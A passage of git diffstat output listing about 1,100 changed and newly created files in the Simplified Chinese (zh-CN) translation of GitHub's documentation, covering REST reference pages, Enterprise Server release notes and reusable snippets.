.../zh-CN/content/rest/reference/releases.md | 22 + .../zh-CN/content/rest/reference/repos.md | 24 + .../zh-CN/content/rest/reference/scim.md | 21 + .../zh-CN/content/rest/reference/search.md | 23 + .../content/rest/reference/secret-scanning.md | 19 + .../zh-CN/content/rest/reference/teams.md | 23 + .../zh-CN/content/rest/reference/users.md | 23 + .../zh-CN/content/rest/reference/webhooks.md | 22 + translations/zh-CN/content/rest/scim.md | 47 +- .../zh-CN/content/rest/teams/team-sync.md | 19 +- .../zh-CN/content/rest/webhooks/index.md | 30 +- .../content/rest/webhooks/repo-config.md | 10 +- .../content/rest/webhooks/repo-deliveries.md | 10 +- .../zh-CN/content/rest/webhooks/repos.md | 10 +- ...rom-your-private-enterprise-environment.md | 29 +- .../searching-for-repositories.md | 206 ++-- .../github-data-protection-agreement.md | 1002 ++++++++++++++++ .../managing-your-sponsorship-tiers.md | 101 +- ...p-github-sponsors-for-your-organization.md | 84 +- ...thub-sponsors-for-your-personal-account.md | 78 +- ...p-github-sponsors-for-your-user-account.md | 74 ++ .../providing-data-to-github-support.md | 189 ++- .../viewing-and-updating-support-tickets.md | 63 +- .../about-github-premium-support.md | 135 ++- .../about-github-support.md | 134 +-- .../features/ip-allow-list-address-check.yml | 3 + .../data/features/security-overview-views.yml | 6 + .../zh-CN/data/glossaries/external.yml | 960 ++++++--------- .../zh-CN/data/glossaries/internal.yml | 541 +++++++++ .../ghes-3.1/graphql_previews.enterprise.yml | 117 ++ .../ghes-3.2/graphql_previews.enterprise.yml | 117 ++ .../zh-CN/data/learning-tracks/actions.yml | 47 +- .../zh-CN/data/learning-tracks/admin.yml | 42 +- .../data/learning-tracks/code-security.yml | 83 +- .../enterprise-server/2-20/0.yml | 44 + .../enterprise-server/2-20/1.yml | 21 + .../enterprise-server/2-20/10.yml | 21 + .../enterprise-server/2-20/11.yml | 19 + .../enterprise-server/2-20/12.yml | 17 + .../enterprise-server/2-20/13.yml | 22 + .../enterprise-server/2-20/14.yml | 13 + .../enterprise-server/2-20/15.yml | 23 + .../enterprise-server/2-20/16.yml | 13 + .../enterprise-server/2-20/17.yml | 13 + .../enterprise-server/2-20/18.yml | 26 + .../enterprise-server/2-20/19.yml | 14 + .../enterprise-server/2-20/2.yml | 28 + .../enterprise-server/2-20/20.yml | 16 + .../enterprise-server/2-20/21.yml | 15 + .../enterprise-server/2-20/22.yml | 19 + .../enterprise-server/2-20/23.yml | 13 + .../enterprise-server/2-20/24.yml | 28 + .../enterprise-server/2-20/3.yml | 15 + .../enterprise-server/2-20/4.yml | 18 + .../enterprise-server/2-20/5.yml | 20 + .../enterprise-server/2-20/6.yml | 27 + .../enterprise-server/2-20/7.yml | 21 + .../enterprise-server/2-20/8.yml | 20 + .../enterprise-server/2-20/9.yml | 17 + .../enterprise-server/2-21/0.yml | 73 ++ .../enterprise-server/2-21/1.yml | 21 + .../enterprise-server/2-21/10.yml | 15 + .../enterprise-server/2-21/11.yml | 18 + .../enterprise-server/2-21/12.yml | 16 + .../enterprise-server/2-21/13.yml | 19 + .../enterprise-server/2-21/14.yml | 13 + .../enterprise-server/2-21/15.yml | 33 + .../enterprise-server/2-21/16.yml | 14 + .../enterprise-server/2-21/17.yml | 34 + .../enterprise-server/2-21/18.yml | 16 + .../enterprise-server/2-21/19.yml | 18 + .../enterprise-server/2-21/2.yml | 21 + .../enterprise-server/2-21/20.yml | 19 + .../enterprise-server/2-21/21.yml | 15 + .../enterprise-server/2-21/22.yml | 16 + .../enterprise-server/2-21/23.yml | 16 + .../enterprise-server/2-21/3.yml | 18 + .../enterprise-server/2-21/4.yml | 28 + .../enterprise-server/2-21/5.yml | 16 + .../enterprise-server/2-21/6.yml | 26 + .../enterprise-server/2-21/7.yml | 15 + .../enterprise-server/2-21/8.yml | 16 + .../enterprise-server/2-21/9.yml | 29 + .../enterprise-server/2-22/0.yml | 165 +++ .../enterprise-server/2-22/1.yml | 97 ++ .../enterprise-server/2-22/10.yml | 16 + .../enterprise-server/2-22/11.yml | 19 + .../enterprise-server/2-22/12.yml | 22 + .../enterprise-server/2-22/13.yml | 20 + .../enterprise-server/2-22/14.yml | 18 + .../enterprise-server/2-22/15.yml | 16 + .../enterprise-server/2-22/16.yml | 15 + .../enterprise-server/2-22/17.yml | 20 + .../enterprise-server/2-22/18.yml | 16 + .../enterprise-server/2-22/19.yml | 13 + .../enterprise-server/2-22/2.yml | 37 + .../enterprise-server/2-22/20.yml | 14 + .../enterprise-server/2-22/21.yml | 11 + .../enterprise-server/2-22/22.yml | 14 + .../enterprise-server/2-22/3.yml | 27 + .../enterprise-server/2-22/4.yml | 18 + .../enterprise-server/2-22/5.yml | 22 + .../enterprise-server/2-22/6.yml | 18 + .../enterprise-server/2-22/7.yml | 78 ++ .../enterprise-server/2-22/8.yml | 58 + .../enterprise-server/2-22/9.yml | 40 + .../enterprise-server/3-0/0-rc1.yml | 25 + .../enterprise-server/3-0/0-rc2.yml | 24 + .../release-notes/enterprise-server/3-0/0.yml | 197 +++ .../release-notes/enterprise-server/3-0/1.yml | 92 ++ .../enterprise-server/3-0/10.yml | 19 + .../enterprise-server/3-0/11.yml | 26 + .../enterprise-server/3-0/12.yml | 21 + .../enterprise-server/3-0/13.yml | 17 + .../enterprise-server/3-0/14.yml | 21 + .../enterprise-server/3-0/15.yml | 17 + .../enterprise-server/3-0/16.yml | 18 + .../enterprise-server/3-0/17.yml | 25 + .../enterprise-server/3-0/18.yml | 15 + .../enterprise-server/3-0/19.yml | 23 + .../release-notes/enterprise-server/3-0/2.yml | 78 ++ .../enterprise-server/3-0/20.yml | 21 + .../enterprise-server/3-0/21.yml | 22 + .../enterprise-server/3-0/22.yml | 13 + .../enterprise-server/3-0/23.yml | 19 + .../enterprise-server/3-0/24.yml | 20 + .../enterprise-server/3-0/25.yml | 12 + .../release-notes/enterprise-server/3-0/3.yml | 49 + .../release-notes/enterprise-server/3-0/4.yml | 27 + .../release-notes/enterprise-server/3-0/5.yml | 28 + .../release-notes/enterprise-server/3-0/6.yml | 31 + .../release-notes/enterprise-server/3-0/7.yml | 24 + .../release-notes/enterprise-server/3-0/8.yml | 27 + .../release-notes/enterprise-server/3-0/9.yml | 24 + .../enterprise-server/3-1/0-rc1.yml | 20 + .../release-notes/enterprise-server/3-1/0.yml | 204 ++++ .../release-notes/enterprise-server/3-1/1.yml | 34 + .../enterprise-server/3-1/10.yml | 21 + .../enterprise-server/3-1/11.yml | 28 + .../enterprise-server/3-1/12.yml | 24 + .../enterprise-server/3-1/13.yml | 23 + .../enterprise-server/3-1/14.yml | 14 + .../enterprise-server/3-1/15.yml | 21 + .../enterprise-server/3-1/16.yml | 24 + .../enterprise-server/3-1/17.yml | 15 + .../enterprise-server/3-1/18.yml | 16 + .../enterprise-server/3-1/19.yml | 41 + .../release-notes/enterprise-server/3-1/2.yml | 30 + .../enterprise-server/3-1/20.yml | 22 + .../enterprise-server/3-1/21.yml | 25 + .../enterprise-server/3-1/22.yml | 20 + .../release-notes/enterprise-server/3-1/3.yml | 27 + .../release-notes/enterprise-server/3-1/4.yml | 45 + .../release-notes/enterprise-server/3-1/5.yml | 20 + .../release-notes/enterprise-server/3-1/6.yml | 23 + .../release-notes/enterprise-server/3-1/7.yml | 18 + .../release-notes/enterprise-server/3-1/8.yml | 20 + .../release-notes/enterprise-server/3-1/9.yml | 28 + .../enterprise-server/3-2/0-rc1.yml | 359 ++++++ .../release-notes/enterprise-server/3-2/0.yml | 369 ++++++ .../release-notes/enterprise-server/3-2/1.yml | 28 + .../enterprise-server/3-2/10.yml | 16 + .../enterprise-server/3-2/11.yml | 44 + .../enterprise-server/3-2/12.yml | 24 + .../enterprise-server/3-2/13.yml | 28 + .../enterprise-server/3-2/14.yml | 23 + .../enterprise-server/3-2/15.yml | 20 + .../enterprise-server/3-2/16.yml | 26 + .../enterprise-server/3-2/17.yml | 20 + .../enterprise-server/3-2/18.yml | 16 + .../release-notes/enterprise-server/3-2/2.yml | 23 + .../release-notes/enterprise-server/3-2/3.yml | 31 + .../release-notes/enterprise-server/3-2/4.yml | 30 + .../release-notes/enterprise-server/3-2/5.yml | 28 + .../release-notes/enterprise-server/3-2/6.yml | 14 + .../release-notes/enterprise-server/3-2/7.yml | 23 + .../release-notes/enterprise-server/3-2/8.yml | 26 + .../release-notes/enterprise-server/3-2/9.yml | 20 + .../enterprise-server/3-3/0-rc1.yml | 326 ++--- .../release-notes/enterprise-server/3-3/0.yml | 334 +++--- .../enterprise-server/3-3/12.yml | 33 +- .../enterprise-server/3-4/0-rc1.yml | 264 +++-- .../release-notes/enterprise-server/3-4/0.yml | 313 ++--- .../release-notes/enterprise-server/3-4/1.yml | 166 +-- .../release-notes/enterprise-server/3-4/2.yml | 119 +- .../release-notes/enterprise-server/3-4/3.yml | 69 +- .../release-notes/enterprise-server/3-4/4.yml | 51 +- .../release-notes/enterprise-server/3-4/5.yml | 49 +- .../release-notes/enterprise-server/3-4/6.yml | 56 +- .../release-notes/enterprise-server/3-4/7.yml | 43 +- .../release-notes/enterprise-server/3-4/8.yml | 43 +- .../enterprise-server/3-5/0-rc1.yml | 556 +++++---- .../release-notes/enterprise-server/3-5/4.yml | 51 +- .../release-notes/enterprise-server/3-5/5.yml | 47 +- .../enterprise-server/3-6/0-rc1.yml | 371 +++--- .../release-notes/enterprise-server/3-6/1.yml | 61 +- .../release-notes/enterprise-server/README.md | 21 +- .../github-ae/2021-03/2021-03-03.yml | 93 ++ .../github-ae/2021-06/2021-12-06.yml | 187 +++ .../github-ae/2022-05/2022-05-17.yml | 248 ++++ .../actions/about-actions-for-enterprises.md | 10 +- .../data/reusables/actions/actions-billing.md | 10 +- .../reusables/actions/cache-default-size.md | 10 +- .../reusables/actions/create-runner-group.md | 10 +- .../actions/disabling-github-actions.md | 10 +- .../actions/enterprise-common-prereqs.md | 14 +- .../actions/enterprise-marketplace-actions.md | 10 +- .../enterprise-postinstall-nextsteps.md | 12 +- .../actions/enterprise-s3-support-warning.md | 13 + .../actions/enterprise-storage-about.md | 11 + .../actions/enterprise-storage-contents.md | 9 + .../actions/github-connect-resolution.md | 10 +- .../actions/hardware-requirements-3.6.md | 14 + .../jobs/section-defining-outputs-for-jobs.md | 28 +- .../section-running-jobs-in-a-container.md | 22 +- .../actions/link-to-example-library.md | 9 + .../actions/minio-gateways-removal.md | 13 + .../actions/perform-blob-storage-precheck.md | 9 + .../actions/reusable-workflow-artifacts.md | 11 +- .../reusable-workflow-calling-syntax.md | 14 +- .../actions/reusable-workflows-ghes-beta.md | 17 + .../reusables/actions/reusable-workflows.md | 12 +- ...er-groups-add-to-enterprise-first-steps.md | 23 +- .../self-hosted-runner-add-to-enterprise.md | 30 +- ...ed-runner-configure-runner-group-access.md | 20 + ...lf-hosted-runner-configure-runner-group.md | 10 + .../self-hosted-runner-create-group.md | 9 + ...er-groups-add-to-enterprise-first-steps.md | 14 + ...-groups-navigate-to-repo-org-enterprise.md | 24 + ...-runner-management-permissions-required.md | 20 +- ...self-hosted-runner-networking-to-dotcom.md | 10 +- .../self-hosted-runner-ports-protocols.md | 12 +- .../settings-ui/settings-actions-general.md | 12 +- .../settings-actions-runner-groups.md | 16 +- .../settings-ui/settings-actions-runners.md | 14 +- .../upgrade-runners-before-upgrade-ghes.md | 10 +- .../workflow-basic-example-and-explanation.md | 97 +- .../actions/workflow-dispatch-inputs.md | 18 +- .../actions/workflow-template-overview.md | 12 +- .../about-committer-numbers-ghec-ghes.md | 20 +- .../about-ghas-organization-policy.md | 14 +- ...ret-scanning-add-custom-pattern-details.md | 22 +- .../secret-scanning-push-protection-org.md | 17 +- .../reusables/apps/metadata-permissions.md | 9 + .../apps/user-to-server-rate-limits.md | 10 +- .../audit_log_sidebar_for_org_admins.md | 17 +- .../audit_log_sidebar_for_site_admins.md | 17 +- .../billing/about-invoices-for-enterprises.md | 9 + .../billing/per-user-pricing-reference.md | 34 + .../branches/new-repo-default-branch.md | 10 +- .../reusables/classroom/about-autograding.md | 10 +- ...ntext-for-actions-and-third-party-tools.md | 10 +- .../code-scanning/codeql-languages-bullets.md | 24 +- .../codeql-languages-keywords.md | 10 +- ...enterprise-enable-code-scanning-actions.md | 10 +- .../enterprise-enable-code-scanning.md | 12 +- .../reusables/code-scanning/licensing-note.md | 22 +- .../code-scanning/run-additional-queries.md | 40 +- .../code-scanning/what-is-codeql-cli.md | 10 +- .../about-billing-for-codespaces.md | 9 + .../codespaces/about-personalization.md | 9 + .../codespaces/apply-devcontainer-changes.md | 9 + .../data/reusables/codespaces/availability.md | 9 + .../codespaces/beta-functionality-limited.md | 13 + .../billing-for-prebuilds-default.md | 11 + .../billing-for-prebuilds-reducing.md | 11 + .../codespaces/billing-for-prebuilds.md | 15 + .../codespaces/codespaces-api-beta-note.md | 13 + .../codespaces/codespaces-billing.md | 17 + .../codespaces/concurrent-codespace-limit.md | 9 + .../codespaces/customize-vcpus-and-ram.md | 14 +- .../next-steps-adding-devcontainer.md | 14 +- .../codespaces/prebuilds-beta-note.md | 13 + .../codespaces/prebuilds-crossreference.md | 10 +- .../codespaces/prebuilds-not-available.md | 9 + .../data/reusables/codespaces/review-pr.md | 17 + .../reusables/codespaces/secrets-on-start.md | 10 +- .../reusables/codespaces/unsupported-repos.md | 9 + .../codespaces/vscode-settings-order.md | 9 + .../command_line/provide-an-access-token.md | 10 +- .../data/reusables/copilot/about-copilot.md | 9 + .../copilot/copilot-prerequisites.md | 12 +- .../data/reusables/copilot/dotcom-settings.md | 40 +- .../copilot/duplication-setting-org.md | 13 + .../copilot/install-copilot-in-neovim.md | 11 +- .../reusables/copilot/signup-procedure.md | 12 +- .../copilot/telemetry-setting-org.md | 13 + ...security-and-version-updates-onboarding.md | 17 + .../dependabot/create-dependabot-yml.md | 9 + .../default-dependencies-allow-ignore.md | 10 +- .../dependabot/dependabot-secrets-button.md | 13 + ...disabling-dependency-graph-private-repo.md | 21 +- .../dependency-review/action-enterprise.md | 11 +- .../data/reusables/dependency-review/beta.md | 15 + .../dependency-review-action-beta-note.md | 12 +- .../dependency-review-action-overview.md | 12 +- .../dependency-review-api-beta-note.md | 13 + .../data/reusables/desktop/get-an-account.md | 14 +- .../desktop/paste-email-git-config.md | 9 + .../discussion-category-forms-beta.md | 13 + .../discussion-category-forms-name.md | 9 + ...ithub-discussions-for-your-organization.md | 23 +- .../discussions/navigate-to-repo-or-org.md | 10 +- .../discussions/starting-a-discussion.md | 26 +- ...ns-packages-report-download-org-account.md | 12 +- .../dotcom_billing/codespaces-minutes.md | 10 + .../monthly-spending-limit-codespaces.md | 10 + .../pricing_cal_codespaces.md | 9 + .../dotcom_billing/view-all-subscriptions.md | 10 +- .../education/upgrade-organization.md | 10 + .../data/reusables/education/upgrade-page.md | 9 + ...ges-report-download-enterprise-accounts.md | 12 +- .../billing-microsoft-ea-overview.md | 10 +- .../enterprise-accounts/copilot-tab.md | 9 + .../dormant-user-activity.md | 57 +- .../enterprise-accounts/emu-cap-validates.md | 10 +- .../emu-permission-follow.md | 10 +- .../emu-permission-fork.md | 10 +- .../emu-permission-gist.md | 10 +- .../emu-permission-interact.md | 10 +- .../emu-permission-propose.md | 10 +- .../emu-permission-repo.md | 10 +- .../enterprise-accounts/emu-short-summary.md | 10 +- .../enterprise-accounts/oidc-beta-notice.md | 13 + .../enterprise-accounts/oidc-gei-warning.md | 10 +- .../repo-creation-policy.md | 16 +- .../repository-visibility-policy.md | 10 + .../enterprise-accounts/security-tab.md | 17 +- .../you-can-sync-for-a-combined-view.md | 9 + .../enterprise/apply-configuration.md | 14 +- .../data/reusables/enterprise/rate_limit.md | 10 +- .../reusables/enterprise/test-in-staging.md | 10 +- .../enterprise/upgrade-ghes-for-actions.md | 10 + .../download-package.md | 12 +- .../hardware-considerations-all-platforms.md | 40 +- .../hotpatching-explanation.md | 16 +- .../ssh-into-instance.md | 12 +- .../upgrade-hardware-requirements.md | 33 + .../username_normalization_sample.md | 18 + .../3-7-new-subdomains.md | 25 + .../dormancy-threshold.md | 10 +- .../enterprise_site_admin_settings/sign-in.md | 10 +- .../tls-downtime.md | 10 +- ...natively-enable-external-authentication.md | 10 +- .../built-in-authentication-new-accounts.md | 10 +- .../built-in-authentication.md | 10 +- ...r-usernames-for-external-authentication.md | 10 +- .../disclaimer-for-git-read-access.md | 16 +- .../external_auth_disables_2fa.md | 10 +- .../reusables/files/choose-commit-email.md | 13 +- .../gated-features/advanced-security.md | 9 + .../codespaces-classroom-articles.md | 10 +- .../reusables/gated-features/codespaces.md | 9 + .../gated-features/copilot-billing.md | 12 +- .../data/reusables/gated-features/copilot.md | 12 +- .../dependency-vulnerable-calls.md | 20 +- .../reusables/gated-features/discussions.md | 9 + .../gated-features/secret-scanning-partner.md | 22 +- .../gated-features/secret-scanning.md | 16 +- .../gated-features/security-center.md | 9 + .../data/reusables/getting-started/actions.md | 10 +- .../adding-members-to-organizations.md | 10 +- .../configuring-security-features.md | 10 +- .../getting-started/creating-organizations.md | 10 +- .../enforcing-repo-management-policies.md | 10 +- .../enterprise-advanced-security.md | 10 +- .../learning-lab-enterprise.md | 11 + .../reusables/getting-started/learning-lab.md | 11 + .../managing-enterprise-members.md | 10 +- .../zh-CN/data/reusables/git/git-push.md | 12 +- .../large_files/storage_assets_location.md | 11 +- .../data/reusables/large_files/use_lfs_tip.md | 10 +- .../notifications/outbound_email_tip.md | 16 +- .../reusables/notifications/shared_state.md | 10 +- .../open-source/open-source-learning-lab.md | 9 + .../reusables/organizations/billing_plans.md | 17 +- .../github-apps-settings-sidebar.md | 17 +- .../organizations/member-privileges.md | 17 +- .../organizations/navigate-to-org.md | 10 +- .../organizations/organizations_include.md | 17 + .../organizations/repository-defaults.md | 17 +- .../organizations/security-and-analysis.md | 17 +- .../data/reusables/organizations/security.md | 17 +- .../reusables/organizations/teams_sidebar.md | 17 +- .../organizations/verified-domains.md | 17 +- .../package_registry/about-graphql-support.md | 11 + .../package_registry/authenticate-packages.md | 20 +- ...uthenticate-to-container-registry-steps.md | 26 +- ...nticate_with_pat_for_container_registry.md | 19 + .../authenticate_with_pat_for_v2_registry.md | 18 +- ...ext-steps-for-packages-enterprise-setup.md | 12 +- .../no-graphql-to-delete-packages.md | 11 +- .../package-registry-with-github-tokens.md | 10 +- .../package_registry/packages-billing.md | 10 +- .../package_registry/required-scopes.md | 10 +- .../pages/build-failure-email-server.md | 16 +- .../data/reusables/pages/emu-org-only.md | 16 +- ...-builds-with-github-actions-public-beta.md | 13 + .../data/reusables/pages/sidebar-pages.md | 17 +- .../zh-CN/data/reusables/pages/visit-site.md | 12 +- .../projects/enable-basic-workflow.md | 38 +- .../data/reusables/projects/projects-api.md | 12 +- .../configure_pull_request_merges_intro.md | 10 +- .../pull_requests/default_merge_option.md | 12 +- .../pull_request_merges_and_contributions.md | 14 +- .../pull_requests/rebase_and_merge_summary.md | 16 +- .../pull_requests/resolving-conversations.md | 31 +- .../pull_requests/squash_and_merge_summary.md | 14 +- .../babeld-max-threads-performance-issue.md | 9 + .../ghas-3.4-secret-scanning-known-issue.md | 24 +- .../reusables/repositories/changed-files.md | 12 +- .../reusables/repositories/deploy-keys.md | 10 +- .../repositories/enable-security-alerts.md | 11 +- .../navigate-to-code-security-and-analysis.md | 17 +- .../repositories/navigate-to-commit-page.md | 12 +- .../repositories/navigate-to-repo.md | 10 +- .../repositories/repository-branches.md | 17 +- .../repositories/sidebar-notifications.md | 17 +- ...quash-and-rebase-linear-commit-hisitory.md | 9 + .../reusables/repositories/suggest-changes.md | 12 +- .../repositories/tracks-vulnerabilities.md | 25 +- .../reusables/repositories/you-can-fork.md | 17 +- .../rest-api/dotcom-only-guide-note.md | 21 + .../rest-reference/apps/oauth-applications.md | 11 + .../branches/branch-protection.md | 9 + .../reusables/rest-reference/checks/runs.md | 9 + .../rest-reference/deployments/statuses.md | 9 + .../enterprise-admin/audit-log.md | 9 + .../enterprise-admin/billing.md | 9 + .../interactions/interactions.md | 9 + .../rest-reference/issues/assignees.md | 9 + .../reusables/rest-reference/issues/labels.md | 9 + .../rest-reference/issues/milestones.md | 9 + .../rest-reference/metrics/community.md | 9 + .../rest-reference/orgs/custom_roles.md | 9 + .../reusables/rest-reference/orgs/members.md | 9 + .../orgs/outside-collaborators.md | 9 + .../rest-reference/projects/cards.md | 9 + .../rest-reference/projects/collaborators.md | 11 + .../rest-reference/projects/columns.md | 9 + .../rest-reference/pulls/review-requests.md | 11 + .../reusables/rest-reference/repos/forks.md | 9 + .../reusables/rest-reference/repos/lfs.md | 10 + .../rest-reference/users/blocking.md | 9 + .../reusables/rest-reference/users/emails.md | 11 + .../rest-reference/users/followers.md | 9 + .../reusables/rest-reference/users/keys.md | 9 + .../rest-reference/webhooks/repos.md | 9 + .../saml/about-authorized-credentials.md | 10 +- .../reusables/saml/about-linked-identities.md | 12 +- .../about-saml-access-enterprise-account.md | 10 +- .../reusables/saml/authorized-creds-info.md | 20 +- .../saml/idp-saml-and-scim-explanation.md | 13 + .../saml/must-authorize-linked-identity.md | 10 +- .../saml/okta-add-ghec-org-integration.md | 15 + .../saml/saml-ghes-account-revocation.md | 10 +- .../you-must-periodically-authenticate.md | 10 +- .../scim/after-you-configure-saml.md | 12 +- .../reusables/scim/enterprise-account-scim.md | 10 +- .../data/reusables/scim/ghes-beta-note.md | 12 +- .../data/reusables/scim/supported-idps.md | 13 +- .../data/reusables/search/syntax_tips.md | 16 +- .../enterprise-enable-secret-scanning.md | 11 +- .../scan-issue-description-and-comments.md | 9 + .../data/reusables/security-center/beta.md | 13 + .../reusables/security-center/permissions.md | 9 + .../server-statistics/release-phase.md | 13 + .../shortdesc/rate_limits_github_apps.md | 10 +- .../sponsors/select-sponsorship-billing.md | 10 +- .../zh-CN/data/reusables/ssh/about-ssh.md | 10 +- .../rsa-sha-1-connection-failure-criteria.md | 12 +- .../data/reusables/support/help_resources.md | 20 +- .../data/reusables/support/submit-a-ticket.md | 79 +- .../support-ticket-translation-option.md | 9 + .../user-settings/access_applications.md | 17 +- .../user-settings/account_settings.md | 17 +- .../user-settings/appearance-settings.md | 17 +- .../user-settings/developer_settings.md | 17 +- .../data/reusables/user-settings/emails.md | 17 +- .../reusables/user-settings/organizations.md | 17 +- .../user-settings/personal_access_tokens.md | 12 +- .../removes-personal-access-tokens.md | 10 +- .../data/reusables/user-settings/repo-tab.md | 17 +- .../reusables/user-settings/saved_replies.md | 17 +- .../user-settings/security-analysis.md | 17 +- .../data/reusables/user-settings/security.md | 17 +- .../zh-CN/data/reusables/user-settings/ssh.md | 17 +- ...pository_vulnerability_alert_short_desc.md | 16 +- .../webhooks/webhooks-rest-api-links.md | 16 +- .../webhooks/workflow_run_properties.md | 14 +- translations/zh-CN/data/ui.yml | 396 +++---- translations/zh-CN/data/variables/product.yml | 82 +- .../zh-CN/data/variables/projects.yml | 19 +- 1137 files changed, 43613 insertions(+), 19864 deletions(-) create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/index.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/index.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/index.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company.md create mode 100644 